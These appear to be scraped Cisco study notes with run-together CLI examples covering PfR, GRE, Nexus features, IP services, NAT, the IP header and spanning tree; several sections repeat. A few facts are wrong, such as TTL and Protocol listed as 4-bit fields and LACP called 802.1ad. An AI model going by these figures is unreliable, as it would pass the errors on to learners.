MC(config)#key-chain key1MC(config-keychain)#key1MC(config-keychain-key)#key-string pfrMC(config)#oer masterMC(config-oer-mc)#loggingMC(config-oer-mc)#mode route controlMC(config-oer-mc)#max prefix total 1000MC(config-oer-mc)#backoff 90 3000 300MC(config-oer-mc)#learnMC(config-oer-mc-learn)#delayMC(config-oer-mc-learn)#monitor period 5MC(config-oer-mc-learn)#periodic interval 15MC(config-oer-mc)#border 10.1.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface se0/0 externalMC(config-oer-mc-br-if)#max-xmit-utilization absolute 1500MC(config-oer-mc-br-if)#cost-minimization fixed fee 1000MC(config-oer-mc)#border 10.2.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface se0/0 externalMC(config-oer-mc-br-if)#max-xmit-utilization absolute 1000MC(config-oer-mc-br-if)#cost-minimization fixed fee 800
BR1(config)#key-chain key1BR1(config-keychain)#key1BR1(config-keychain-key)#key-string pfrBR1(config)#oer borderBR1(config-oer-br)#master 10.0.0.1 key-chain key1BR1(config-oer-br)#local fa0/0BR1(config-oer-br)#active-probe address source interface fa0/0
BR2(config)#key-chain key1BR2(config-keychain)#key1BR2(config-keychain-key)#key-string pfrBR2(config)#oer borderBR2(config-oer-br)#master 10.0.0.1 key-chain key1BR2(config-oer-br)#local fa0/0BR2(config-oer-br)#active-probe address source interface fa0/0
GRE Tunnels
Passenger protocol is encapsulated into the transport protocol.
Multicast is a good example of traffic tunneled from one router to another using unicast packets.
R1(config)#int tu0R1(config-if)#ip address 10.1.3.1 255.255.255.0R1(config-if)#tunnel source FastEthernet0/0R1(config-if)#tunnel destination 192.168.23.3R1(config-if)#tunnel mode greR1(config)#int fa0R1(config-if)#ip address 192.168.12.1 255.255.255.0R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.12.2
R3(config)#int tu0R3(config-if)#ip address 10.1.3.3 255.255.255.0R3(config-if)#tunnel source FastEthernet0/0R3(config-if)#tunnel destination 192.168.12.1R3(config-if)#tunnel mode greR3(config)#int fa0R3(config-if)#ip address 192.168.23.3 255.255.255.0R3(config)#ip route 0.0.0.0 0.0.0.0 192.168.23.2
# Cisco Nexus
Some Commands
- Hardware
- System utilization
- Piping
- Running config
- Interface ranges
- Shared or dedicated
- Licencing
- Modules
Virtual Device Context (VDC)
Four VDCs: Default VDC1 and 3 additional VDCs.
Virtual Port Channel (VPC)
Fabric EXtenders (FEX) ~ Nexus 2000 series
Deployment models:
- Static pinning (Nexus 5000 series)
- Dynamic pinning (Nexus 5000 and 7000 series)
- vPC (Nexus 5000 series)
Configuration Rollback
Role-Based Access Control (RBAC)
Ethanalyzer ~ a wrapper over tshark
VRF
Config-sync
In-Service Software Upgrade (ISSU)
- Hardware
NX-7K-1#show inventory! display chassis components NX-7K-1#show redundancy status! determine active supervisor NX-7K-1#show module! display individual modules NX-7K-1#show environment! display clock, fan, temperature, power NX-7K-1(config)#power redundancy-mode ?
- System utilization
NX-7K-1# show system resources- Piping
NX-7K-1# show run | ? ! last, tail, egrep, no-more, ...- Running config
NX-7K-1#show running-config ?NX-7K-1#show running-config all! display configuration with defaults
- Interface ranges
NX-7K-1(config)# int e2/4, e3/1-2 ! no range command- Shared or dedicated
NX-7K-1(config)#int e2/1, e2/3, e2/5, e2/7NX-7K-1(config-if)#shutdownNX-7K-1(config)#int e2/1NX-7K-1(config-if)#rate-mode dedicatedNX-7K-1(config-if)#no shutdown
- Licencing
NX-7K-1#show license host-idNX-7K-1#install license bootflash: NX7K-1234.licNX-7K-1#show license usage
- Modules
NX-7K-1#reload module ?NX-7K-1#attach module ?
Virtual Device Context (VDC)
Four VDCs: Default VDC1 and 3 additional VDCs.
NX-7K-1(config)#vdc VDC2 id 2NX-7K-1(config-vdc)#allocate interface e3/1-24NX-7K-1(config)#vdc VDC3 id 3NX-7K-1(config-vdc)#allocate interface e3/25-48NX-7K-1#show vdcNX-7K-1#show vdc membershipNX-7K-1#show run vdcNX-7K-1#switchto vdc VDC2NX-7K-1-VDC2#switchbackNX-7K-1#
Virtual Port Channel (VPC)
NX-7K-1(config)#feature vpcNX-7K-1(config)#vpc domain 10NX-7K-1(config-domain)#peer-switchNX-7K-1(config-domain)#peer-keepalive destination 10.10.10.2NX-7K-1#show vpc roleNX-7K-1#show vpc peer-keepaliveNX-7K-1(config)#interface port-channel 10NX-7K-1(config-if)#switchport mode trunkNX-7K-1(config-if)#switchport trunk allowed vlan 100-105! vPC VLANs NX-7K-1(config-if)#switchport trunk native 100NX-7K-1(config-if)#vpc peer-linkNX-7K-1#show vpc briefNX-7K-1(config)#interface ethernet 1/1-2NX-7K-1(config-if-range)#channel-group 11 mode activeNX-7K-1(config)#interface port-channel 11NX-7K-1(config-if)#switchport mode trunkNX-7K-1(config-if)#vpc 11NX-7K-2(config)#feature vpcNX-7K-2(config)#vpc domain 10NX-7K-2(config-domain)#peer-switchNX-7K-2(config-domain)#peer-keepalive destination 10.10.10.1NX-7K-2(config)#interface port-channel 10NX-7K-2(config-if)#switchport mode trunkNX-7K-2(config-if)#switchport trunk allowed vlan 100-105! vPC VLANs NX-7K-2(config-if)#switchport trunk native 100NX-7K-2(config-if)#vpc peer-linkNX-7K-2(config)#interface ethernet 2/7-8NX-7K-2(config-if-range)#channel-group 11 mode activeNX-7K-2(config)#interface port-channel 11NX-7K-2(config-if)#switchport mode trunkNX-7K-2(config-if)#vpc 11NX-7K-2#show vpc consistency-parameters global
Fabric EXtenders (FEX) ~ Nexus 2000 series
Deployment models:
- Static pinning (Nexus 5000 series)
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 100NX-5K-1(config-fex)#pinning max-links 4NX-5K-1(config)#int ethernet 1/1-4NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#fex associate 100NX-5K-1#show fex 100NX-5K-1#show fex detailNX-5K-1#show module fex
- Dynamic pinning (Nexus 5000 and 7000 series)
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 101NX-5K-1(config-fex)#pinning max-links 1NX-5K-1(config)#int ethernet 1/9-12NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#channel-group 11NX-5K-1(config)#int port-channel 11NX-5K-1(config-if)#fex associate 101NX-5K-1#show int port-channel 11 fex-intfNX-5K-1#show module fex
- vPC (Nexus 5000 series)
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 102NX-5K-1(config-fex)#pinning max-links 1NX-5K-1(config)#int ethernet 1/17-20NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#channel-group 12NX-5K-1(config)#feature vpc! vPC domain configuration NX-5K-1(config)#int port-channel 12NX-5K-1(config-if)#vpc 12NX-5K-1(config-if)#fex associate 102NX-5K-1#show int port-channel 12 fex-intfNX-5K-1#show module fex
Configuration Rollback
NX-7K-1#checkpoint CP1 description First checkpointNX-7K-1#show checkpoint summaryNX-7K-1#rollback running-config checkpoint CP1
Role-Based Access Control (RBAC)
NX-7K-1(config)#role name L3-adminNX-7K-1(config-role)#rule 1 permit read-write feature-group L3NX-7K-1(config-role)#vlan policy denyNX-7K-1(config-role-vlan)#permit vlan 1-100NX-7K-1(config-role)#vrf policy denyNX-7K-1(config-role-vlan)#permit vrf VRF1NX-7K-1(config-role-vlan)#permit vrf VRF2NX-7K-1#show role
Ethanalyzer ~ a wrapper over tshark
NX-7K-1#ethanalyzer local interface inband brief limit-captured-frames 10NX-7K-1#ethanalyzer local interface inband limit-captured-frames 1
VRF
NX-7K-1#show ip int brief! default VRF NX-7K-1#show ip int brief vrf managementNX-7K-1#ping 10.1.1.1 vrf managementNX-7K-1#routing-context vrf managementNX-7K-1%management#ping 10.1.1.1NX-7K-1%management#routing-context vrf defaultNX-7K-1#
Config-sync
NX-7K-1#configure syncNX-7K-1(config-sync)#switch-profile PROFILE1NX-7K-2#configure syncNX-7K-2(config-sync)#switch-profile PROFILE1NX-7K-2(config-sync-sp)#import interface po10NX-7K-2(config-sync-sp-import)#verifyNX-7K-2(config-sync-sp-import)#show switch-profile PROFILE1 bufferNX-7K-2(config-sync-sp-import)#show switch-profile PROFILE1 statusNX-7K-2(config-sync-sp-import)#commitNX-7K-1(config-sync-sp)#sync-peers destination 10.0.0.2NX-7K-2(config-sync-sp)#sync-peers destination 10.0.0.1NX-7K-2(config-sync-sp)#int po10NX-7K-2(config-sync-sp-if)#spanning-gree port type edge trunkNX-7K-2(config-sync-sp)#verifyNX-7K-2(config-sync-sp)#commitNX-7K-2#show running-config switch-profile
In-Service Software Upgrade (ISSU)
NX-7K-2#show incompatibility system n7000.binNX-7K-2#install all kickstart n7000-kickstart.bin system n7000.binNX-7K-2#system switchoverNX-7K-1#show incompatibility system n7000.binNX-7K-1#install all kickstart n7000-kickstart.bin system n7000.binNX-7K-1#system switchover
# IP Services
RARP, BOOTP, and DHCP
- ARP
Ether.src = source MAC
Ether.dst = ff:ff:ff:ff:ff:ff
Ether.type = 0x0806
Sender MAC address = source MAC
Sender IP address = source IP
Target MAC address = 00:00:00:00:00:00
Target IP address = destination IP
- RARP
Ether.src = source MAC
Ether.dst = ff:ff:ff:ff:ff:ff
Ether.type = 0x0806
Sender MAC address = source MAC
Sender IP address = 0.0.0.0
Target MAC address = source MAC
Target IP address = 0.0.0.0
Request to find its own IP address.
A preconfigured RARP server is needed.
- BOOTP
Improves assignment features of RARP.
Uses UDP, so a router can relay BOOTP request to a centrally located BOOTP server.
A preconfigured BOOTP server is needed.
Supports the assignment of IP address, subnet mask, default gateway, DNS and IP address of a boot/image server.
DHCP
Building on the format of BOOTP protocols, dynamically assigns a variety of information, without requering predefinition of MAC addresses for each client.
The router relaying a DHCP request (
When the router forwards the DHCP request to the DHCP server changes the source IP to the broadcast subnet address.
*HSRP, VRRP, and GLBP
IP hosts can obtain a default gateway using DHCP, BOOTP, ICMP Router Discovery Protocol (IRDP), manual configuration or by running a routing protocol.
Hot Standby Router Protocol (HSRP):
- Virtual IP and virtual MAC active on the active router.
- Virtual IP must be different from any other IP address.
- Virtual MAC of 0000.0c07.acXX (XX is the hex HSRP group).
- Up to 255 HSRP groups per interface.
- Version 1 uses 224.0.0.2 and version 2 uses 224.0.0.102 (UDP destination port 1985).
- Standby routers listen for Hellos from the active router.
- The hello interval is 3 seconds and the dead interval is 10 seconds.
- Highest priority (by default 100) determines the active router.
- Preemption is disabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
When preemption is disabled:
- Although the priority of the active router goes below than the standby router, the active router mantains the active role.
- Only when the active router inferface fails the standby router takes the active role.
Virtual Router Redundancy Protocol (VRRP):
- Virtual IP and virtual MAC active on the master router.
- Virtual IP may the same as one configured on a physical interface.
- Virtual MAC of 0000.5e00.01XX (XX is the the hex VRRP group).
- Up to 255 VRRP groups per interface.
- Uses 224.0.0.18 and IP protocol number 112.
- Backup routers listen for Hellos from the master router.
- The hello interval is 1 second and the dead interval is 3 seconds.
- Highest priority (by default 100) determines the master router.
- Preemption is enabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
Gateway Load Balancing Protocol (GLBP):
- Up to 4 active virtual forwarders (AVF).
- Virtual IP must be different from any other IP address.
- Virtual IP on the active virtual gateway (AVG) and load shares ARP requests between AVF.
- Individual virtual MAC on each AVF.
- Virtual MAC of 0007.b400.XXYY (XX is the hex GLBP group and YY the AVF number {01|02|03|04}).
- Up to 255 GLBP groups per interface.
- Uses 224.0.0.102 (UDP source/destination port 3222).
- Standby routers listen for Hellos from the active router.
- The hello interval is 3 seconds and the dead interval is 10 seconds.
- Preemption is disabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
NTP
Atomic clocks and GPS satellite transmissions provice a source of stratum 1.
SNMP
Uses UDP port 161 (traps use UDP port 162).
- SNMPv1: SMIv1, communities, MIB-I
- SNMPv2: SMIv2, communities removed, GetBulk and Inform messages, MIB-II
- SNMPv2c: Equivalent to SNMPv2, communities
- SNMPv3: Equivalent to SNMPv2, commnities, better security
SNMP Protocol Messages
Syslog
Syslog uses UDP port 514.
Web Cache Communication Protocol
Cisco protocol to allow transparent HTTP proxy.
Uses UDP port 2048.
WCCPv1 supports up to 32 content engines, the one with the lowest IP address is elected as the lead engine.
WCCPv2 (default version) supports:
- Supports TCP and UDP traffic other than HTTP traffic.
- Segmenting caching services provided by a caching cluster per protocol.
- Multicast, MD5 authentication, load distribution and transparent error handling.
Implementing the Cisco IOS IP Service Level Agreement (IP SLA) Feature
Allows measuring:
- Delay (one way and round trip)
- Jitter
- Packet loss
- Packet sequencing
- Path (per hop)
- Connectivity (UDP echo, ICMP echo, TCP connect)
- Server download time
- Voice-quality metrics
IP SLA control protocol between the monitor and the responder uses UDP port 1967.
Implementing NetFlow
Implementing Router IP Traffic Export
RITE is like SPAN for switches but for routers (only IP traffic is replicated).
Implementing Cisco IOS Embedded Event Manager
Tracks and classifies events on a router and provides notifications.
EEM overlaps with RMON functionality, but is considered more powerful and flexible.
Implementing Remote Monitoring
RMON enables to configure thresholds for alerting based on SNMP objects.
RMON is divided into two classes: alarms and events.
You set the rising and falling thresholds for events, and then tell RMON which alarm to trigger.
Implementing and Using FTP on a Router
Implementing a TFTP Server on a Router
Implementing Secure Copy Protocol
Implementing HTTP and HTTPS Access
Implementing Telnet Access
Implementing SSH Access
- ARP
Ether.src = source MAC
Ether.dst = ff:ff:ff:ff:ff:ff
Ether.type = 0x0806
Sender MAC address = source MAC
Sender IP address = source IP
Target MAC address = 00:00:00:00:00:00
Target IP address = destination IP
- RARP
Ether.src = source MAC
Ether.dst = ff:ff:ff:ff:ff:ff
Ether.type = 0x0806
Sender MAC address = source MAC
Sender IP address = 0.0.0.0
Target MAC address = source MAC
Target IP address = 0.0.0.0
Request to find its own IP address.
A preconfigured RARP server is needed.
- BOOTP
Improves assignment features of RARP.
Uses UDP, so a router can relay BOOTP request to a centrally located BOOTP server.
A preconfigured BOOTP server is needed.
Supports the assignment of IP address, subnet mask, default gateway, DNS and IP address of a boot/image server.
DHCP
Building on the format of BOOTP protocols, dynamically assigns a variety of information, without requering predefinition of MAC addresses for each client.
The router relaying a DHCP request (
ip helper-address) puts its own IP address in the gateway IP address (giaddr) field. Router(config)#service dhcpRouter(config)#ip dhcp excluded-address 10.1.1.1 10.1.1.20Router(config)#ip dhcp pool MYPOOLRouter(config-dhcp)#network 10.1.1.0 255.255.255.0Router(config-dhcp)#domain-name lab.netRouter(config-dhcp)#dns-server 10.1.2.200Router(config-dhcp)#default-router 10.1.1.1Router(config-dhcp)#lease 0 0 20 ! days hours minutes
When the router forwards the DHCP request to the DHCP server changes the source IP to the broadcast subnet address.
*HSRP, VRRP, and GLBP
IP hosts can obtain a default gateway using DHCP, BOOTP, ICMP Router Discovery Protocol (IRDP), manual configuration or by running a routing protocol.
Hot Standby Router Protocol (HSRP):
- Virtual IP and virtual MAC active on the active router.
- Virtual IP must be different from any other IP address.
- Virtual MAC of 0000.0c07.acXX (XX is the hex HSRP group).
- Up to 255 HSRP groups per interface.
- Version 1 uses 224.0.0.2 and version 2 uses 224.0.0.102 (UDP destination port 1985).
- Standby routers listen for Hellos from the active router.
- The hello interval is 3 seconds and the dead interval is 10 seconds.
- Highest priority (by default 100) determines the active router.
- Preemption is disabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
When preemption is disabled:
- Although the priority of the active router goes below than the standby router, the active router mantains the active role.
- Only when the active router inferface fails the standby router takes the active role.
Router(config)#track 15 interface serial0/0 line-protocolRouter(config)#interface fastethernet0/0Router(config-if)#standby 21 ip 10.1.1.21Router(config-if)#standby 21 priority 105Router(config-if)#standby 21 preemptRouter(config-if)#standby 21 track 15 decrement 6Router(config-if)#standby 22 ip 10.1.1.22Router(config-if)#standby 22 preemptRouter(config-if)#standby 22 track 15 decrement 12Router#show standby fa0/0
Virtual Router Redundancy Protocol (VRRP):
- Virtual IP and virtual MAC active on the master router.
- Virtual IP may the same as one configured on a physical interface.
- Virtual MAC of 0000.5e00.01XX (XX is the the hex VRRP group).
- Up to 255 VRRP groups per interface.
- Uses 224.0.0.18 and IP protocol number 112.
- Backup routers listen for Hellos from the master router.
- The hello interval is 1 second and the dead interval is 3 seconds.
- Highest priority (by default 100) determines the master router.
- Preemption is enabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
Gateway Load Balancing Protocol (GLBP):
- Up to 4 active virtual forwarders (AVF).
- Virtual IP must be different from any other IP address.
- Virtual IP on the active virtual gateway (AVG) and load shares ARP requests between AVF.
- Individual virtual MAC on each AVF.
- Virtual MAC of 0007.b400.XXYY (XX is the hex GLBP group and YY the AVF number {01|02|03|04}).
- Up to 255 GLBP groups per interface.
- Uses 224.0.0.102 (UDP source/destination port 3222).
- Standby routers listen for Hellos from the active router.
- The hello interval is 3 seconds and the dead interval is 10 seconds.
- Preemption is disabled by default.
- Supports tracking.
- Supports clear-text and MD5 authentication.
NTP
Atomic clocks and GPS satellite transmissions provice a source of stratum 1.
Router(config)#ntp authentication-key 1 md5 MYKEYRouter(config)#ntp authenticateRouter(config)#ntp trusted-key 1Router(config)#ntp master 7Router(config)#ntp server 10.1.1.1Router(config)#ntp peer 10.2.2.2Router(config)#int fa0/0Router(config-if)#ntp broadcastRouter(config)#int fa0/1Router(config-if)#ntp broadcast clientRouter#show ntp statusRouter#show ntp associations
SNMP
Uses UDP port 161 (traps use UDP port 162).
- SNMPv1: SMIv1, communities, MIB-I
- SNMPv2: SMIv2, communities removed, GetBulk and Inform messages, MIB-II
- SNMPv2c: Equivalent to SNMPv2, communities
- SNMPv3: Equivalent to SNMPv2, commnities, better security
SNMP Protocol Messages
Message Version Reply Sent by Purpose Get 1 Response Manager Request single MIB variable GetNext 1 Response Manager Request next single MIB variable GetBulk 2 Response Manager Request consecutive MIB variables Response 1 None Agent Reply with the information requested Set 1 Response Manager Set a particular variable Trap 1 None Agent Send unsolicited information Inform 2 Response Manager Message between Managers (MIB exchange)
Syslog
Syslog uses UDP port 514.
logging buffered is disabled by default.logging host 10.1.1.1 sets the syslog server.logging trap debug limits the logging messages sent to the syslog server.Web Cache Communication Protocol
Cisco protocol to allow transparent HTTP proxy.
Uses UDP port 2048.
WCCPv1 supports up to 32 content engines, the one with the lowest IP address is elected as the lead engine.
WCCPv2 (default version) supports:
- Supports TCP and UDP traffic other than HTTP traffic.
- Segmenting caching services provided by a caching cluster per protocol.
- Multicast, MD5 authentication, load distribution and transparent error handling.
Router(config)#ip wccp web-cache group-address 239.128.1.100 password MYPASSRouter(config)#interface fa0/0Router(config-if)#ip wccp web-cache redirect in! Enables redirection Router(config)#interface fa0/1Router(config-if)#ip wccp web-cache exclude in! Disables redirection Router(config)#access-list 1 permit 192.168.1.0 0.0.0.255Router(config)#ip wccp web-cache group-list 1! List of content engines Router(config)#access-list 2 permit 192.168.2.0 0.0.0.255Router(config)#ip wccp web-cache redirect-list 2! List of redirected hosts
Implementing the Cisco IOS IP Service Level Agreement (IP SLA) Feature
Allows measuring:
- Delay (one way and round trip)
- Jitter
- Packet loss
- Packet sequencing
- Path (per hop)
- Connectivity (UDP echo, ICMP echo, TCP connect)
- Server download time
- Voice-quality metrics
IP SLA control protocol between the monitor and the responder uses UDP port 1967.
Responder(config)#ip sla responderMonitor(config)#ip sla 1Monitor(config-ip-sla)#udp-echo 192.168.12.1 1330Monitor(config)#ip sla schedule 1 life forever start-time nowMonitor#show ip sla statistics 1
Implementing NetFlow
c6500(config)#interface fa0/0.10c6500(config-if)#ip flow ingress! Software-routed (MSFC) c6500(config)#interface fa0/1c6500(config-if)#ip route-cache flow! Software-routed (MSFC) c6500(config)#ip flow-export source lo0c6500(config)#ip flow-export destination 10.1.1.1 9996c6500(config)#ip flow-export version 5c6500(config)#mls netflow! Hardware-routed (PFC) c6500(config)#mls flow ip interface-fullc6500(config)#mls nde sender version 5! Netflow Data Export
Implementing Router IP Traffic Export
RITE is like SPAN for switches but for routers (only IP traffic is replicated).
Router(config)#ip traffic-export profile EXPORTRouter(conf-rite)#interface FastEthernet0/0Router(conf-rite)#bidirectionalRouter(conf-rite)#incoming sample one-in-every 5Router(conf-rite)#outgoing sample one-in-every 5Router(conf-rite)#mac-address aaa0.bbb.ccccRouter(config)#interface Serial0/0Router(config-if)#ip traffic-export apply EXPORT
Implementing Cisco IOS Embedded Event Manager
Tracks and classifies events on a router and provides notifications.
EEM overlaps with RMON functionality, but is considered more powerful and flexible.
Router(config)#event manager applet CLI-copy_run_startRouter(config-applet)#event cli pattern "wr" sync yesRouter(config-applet)#action 1 syslog msg "$_cli_msg Command Executed"Router(config-applet)#set 2 _exit_status 1Router(config-applet)#end
Implementing Remote Monitoring
RMON enables to configure thresholds for alerting based on SNMP objects.
RMON is divided into two classes: alarms and events.
You set the rising and falling thresholds for events, and then tell RMON which alarm to trigger.
Router(config)#rmon event 1 log trap public description Fa0.0RisingErrors owner configRouter(config)#rmon event 2 log trap public description Fa0.0FallingErrors owner configRouter(config)#rmon event 3 log trap public description Se0.0RisingErrors owner configRouter(config)#rmon event 4 log trap public description Se0.0FallingErrors owner configRouter(config)#rmon alarm 20 ifInErrors.1 60 delta rising-threshold 10 1 falling-threshold 5 2 owner configRouter(config)#rmon alarm 30 ifInErrors.2 60 absolute rising-threshold 20 3 falling-threshold 10 4 owner configRouter#show rmon alarmRouter#show rmon event
Implementing and Using FTP on a Router
Router(config)#ip ftp username JoeRouter(config)#ip ftp password ciscoRouter(config)#ip ftp passiveRouter(config)#exception protocol ftpRouter(config)#exception region-size 65536Router(config)#exception dump 172.30.1.1
Implementing a TFTP Server on a Router
Router(config)# tftp-server flash:c1700-advipservicesk9-mz.124-23.bin alias c1700.bin 10Implementing Secure Copy Protocol
Router(config)#hostname SecureSecure(config)#ip domain-name lab.netSecure(config)#crypto key generate rsa general-keys modulus 1024Secure(config)#aaa authentication login default localSecure(config)#aaa authorization exec default localSecure(config)#username admin privilege 15 secret 0 MYSECRETSecure(config)#ip scp server enable
Implementing HTTP and HTTPS Access
Router(config)#ip http serverRouter(config)#ip http port 8080Router(config)#ip http access-class 100Router(config)#ip http client username JoeRouter(config)#ip http client password ciscoRouter(config)#ip http authentication [aaa | local | enable | tacacs]Router(config)#ip http secure-serverRouter#show ip http server secure status
Implementing Telnet Access
Router(config)#access-list 100 deny tcp any any eq 23Router(config)#access-list 100 permit tcp any any eq 3010Router(config)#access-list 100 deny ip any anyRouter(config)#line vty 0 4Router(config-line)#rotary 10 queued! Telnet port == 3000 + rotary group Router(config-line)#access-class 100 in
Implementing SSH Access
Secure(config)#access-list 100 deny tcp any any eq 22Secure(config)#access-list 100 permit tcp any any eq 2010Secure(config)#access-list 100 deny ip any anySecure(config)#line vty 0 4Secure(config-line)#rotary 10 queued! SSH port == 2000 + rotary group Secure(config-line)#access-class 100 inSecure(config-line)#transport input ssh
# IP Addressing
IP Addressing and Subnetting Review
Class A: 1-126/8
Class B: 128-191/16
Class C: 192-223/24
Class D: 224-239
Class E: 240-255
Static NAT
Does not help with IP address conservation, but makes and inside server available to client on the Internet.
Dynamic NAT Without PAT
Like static NAT but uses a pool of addresses to assign dynamically.
Dynamic NAT and PAT Configuration
Command Reference
IP Header
- Version (4b)
- Header Length (4b): Defines the length of the IP header, including optional fields.
- DS Field (8b): Differentiated Services Field, originally called Type of Service (ToS).
- Packet Length (16b): Defines the length of the IP packet, including the data.
- Identification (16b): All fragments of the original packet contain the same identifier.
- Flags (3b): Fragmentation flags.
- Fragment Offset (13b): Identifies the fragment location in the original packet.
- Time to Live (4b)
- Protocol (4b): Identifies the contents of the data field.
- Header Checksum (16b): Frame Check Sequence of the IP header (not the data).
- Source IP Address (32b)
- Destination IP Address (32b)
- Optional Header Fields and Padding (multiple of 4Bytes): For future expansion via optional headers.
IP Protocol Field Values
- ICMP: 1
- TCP: 6
- UDP: 17
- EIGRP: 88
- OSPF: 89
- PIM: 103
Class A: 1-126/8
Class B: 128-191/16
Class C: 192-223/24
Class D: 224-239
Class E: 240-255
Static NAT
Does not help with IP address conservation, but makes and inside server available to client on the Internet.
Router(config)#interface ethernet0/0Router(config-if)#ip nat insideRouter(config)#interface serial0/0Router(config-if)#ip nat outsideRouter(config)#ip nat inside source static 10.1.1.1 200.1.1.1
Dynamic NAT Without PAT
Like static NAT but uses a pool of addresses to assign dynamically.
Dynamic NAT and PAT Configuration
Router(config)#interface ethernet0/0Router(config-if)#ip nat insideRouter(config)#interface serial0/0Router(config-if)#ip nat outsideRouter(config)#access-list 1 permit 10.1.1.0 0.0.0.255Router(config)#ip nat pool NATPOOL 200.1.1.1 200.1.1.2 netmask 255.255.255.252Router(config)#ip nat inside source list 1 pool NATPOOL
Command Reference
Router(config)#ip nat inside destination list {access-list-number | name} pool nameRouter#show ip nat statisticsRouter#show ip nat translationsRouter#clear ip nat translation ?
IP Header
- Version (4b)
- Header Length (4b): Defines the length of the IP header, including optional fields.
- DS Field (8b): Differentiated Services Field, originally called Type of Service (ToS).
- Packet Length (16b): Defines the length of the IP packet, including the data.
- Identification (16b): All fragments of the original packet contain the same identifier.
- Flags (3b): Fragmentation flags.
- Fragment Offset (13b): Identifies the fragment location in the original packet.
- Time to Live (4b)
- Protocol (4b): Identifies the contents of the data field.
- Header Checksum (16b): Frame Check Sequence of the IP header (not the data).
- Source IP Address (32b)
- Destination IP Address (32b)
- Optional Header Fields and Padding (multiple of 4Bytes): For future expansion via optional headers.
IP Protocol Field Values
- ICMP: 1
- TCP: 6
- UDP: 17
- EIGRP: 88
- OSPF: 89
- PIM: 103
# 802.1d Spanning Tree Protocol
Choosing Which Ports Forward
1. Elect the root switch: lowest bridge ID wins.
2. Determine each switch's Root Port: the one port on each switch with the least cost path back to the root.
3. Determine the Designated Port for each segment: the port of the switch that forwards the least cost Hello onto a segment.
Electing a Root Switch
Each switch begins sending STP Hello BPDU.
When a switch hears a superior Hello, it stops claiming to be root and starts forwarding the superior Hellos.
The original 802.1d bridge ID has two fields:
- Priority (2B)
- System ID == MAC Address (6B)
The original 802.1d has been redefined:
- Priority, multiple of 4096 (4b)
- System ID Extension == VLAN ID (12b)
- System ID == MAC Address (6B)
Determining the Root Port
The root send a Hello every Hello timer (2 seconds by default).
Each switch that receives a Hello forwards it after updating:
- Cost (received cost + port cost of the port on which the hello was received)
- Bridge ID (forwarder's BID)
- Port priority (forwarder's port priority)
- Port number (forwarder's port number)
Port costs:
Tiebreakers to elect the Root Port:
- Use the port with the least cost to the root.
- If the cost is equal, use the port with the lowest BID.
- If the BID is the same, use the port with the lowest priority.
- If the priority is equal, use the port with the lowest port number.
Determining the Designated Port
The switch that forwards Hellos onto a LAN segment is called the designated switch and the port onto that segment is called the Designated Port (DP).
The DP sends the lowest advertised cost.
The tiebreakers are the same.
Converging to a New STP Topology
If a switch does not receive Hellos over a RP during max age timer (by default 20 seconds), it begins a new root election by claiming to be the root and flooding Hellos out every port.
If it does not receive Hellos over a Blocking port during max age timer, it changes to listening state on that port.
Topology Change Notification and Updating the CAM
- A switch experiencing a port state change send a TCN (Topology Change Notification) BPDU out its Root Port. It repeats this message every Hello time until it is acknowledged.
- A designated switch receiving that TCN BPDU sends back a normal Hello BPDU marking the TCA (Topology Change Acknowledgment) bit.
- The process is repeated until the root receives a TCN BPDU. One received, the root set the TC (Topology Change) bit on the next Hellos. A switch receiving a Hello BPDU with TC bit set times out entries in the CAM.
Transitioning from Blocking to Forwarding
The switch waits forward delay timer (by default 15 seconds) before changing from Listening/Learning port states.
802.1d port states:
Per-VLAN Spanning Tree and STP over Trunks
802.1Q does not support PVST+ natively, however, Cisco switches do.
Non-Cisco switches using 802.1Q run only one STP instance (Common Spanning Tree) over VLAN 1 for all VLANs.
Two PVST+ regions, separated by a single CST region, share PVST+ information sending BPDUs using a multicast destination MAC (01:00:0c:cc:cc:cd) and being VLAN tagged.
Non-Cisco switches do not interpret these BPDUs but Cisco switches do.
Non-Cisco switches using 802.1Q support multiple STP instances with 802.1s (MST).
STP Configuration and Analysis
Default STP priority is 32768.
Optimizing Spanning Tree
Convergence might take between 30 and 50 seconds.
PortFast, UplinkFast, and BackboneFast
These Cisco-propietary features solve specific STP problems.
- PortFast: Used on access ports. Immediately puts the port into forwarding state.
- UplinkFast: Used on access switches. Immediately replaces a lost Root Port with an alternate Root Port.
- BackboneFast: Used to detect indirect link failures. Avoids waiting for Maxage when a Root Port ceases to receive Hellos.
PortFast
To be safe, also enable the BPDU Guard and Root Guard features.
UplinkFast
The command takes three actions:
- Increases the root priority to 49152.
- Sets the port cost to 3000.
- Tracks alternate Root Ports.
When the Root Port fails, the switch fails over to an alternate Root Port and forwards immediately.
Also, the switch sends fake frames (station MAC entries as source and 01:00:0c:cd:cd:cd as multicast destination) to update the other switches CAM table (does not use the TCN process).
BackboneFast
When the first Hello goes missing, a BackboneFast switch sends a Root Link Query BPDU asking the neighboring switch about a direct link failure. Once known, converges without waiting Maxage timer. All switches must have BackboneFast configured.
PortFast, UplinkFast, and BackboneFast Configuration
Load Balancing Across PortChannels
Load balancing is based on the contents of layer 2, 3 and/or 4 headers.
The goal is to use a blancing method for which the fields in the frame vary.
PortChannel Discovery and Configuration
The dynamic protocols are Port Aggregation Protocol (PAgP) and Link Aggregation Control Protocol (LACP ~ 802.1ad).
Several items must be identical on the links to be added to the PortChannel:
- Same speed and duplex
- If not trunking, same access VLAN
- If trunking, same trunk type, allowed VLANs and native VLAN
- The same STP cost per VLAN
- No SPAN configured
Rapid Spanning Tree Protocol
IEEE 802.1w improves STP convergence and is backward compatible with 802.1d.
The key components are:
- Waiting only 3 misses Hellos on a RP before reacting (versus 10 missed with 802.1d).
- Bypassing the 802.1d listening state (discarding -> learning).
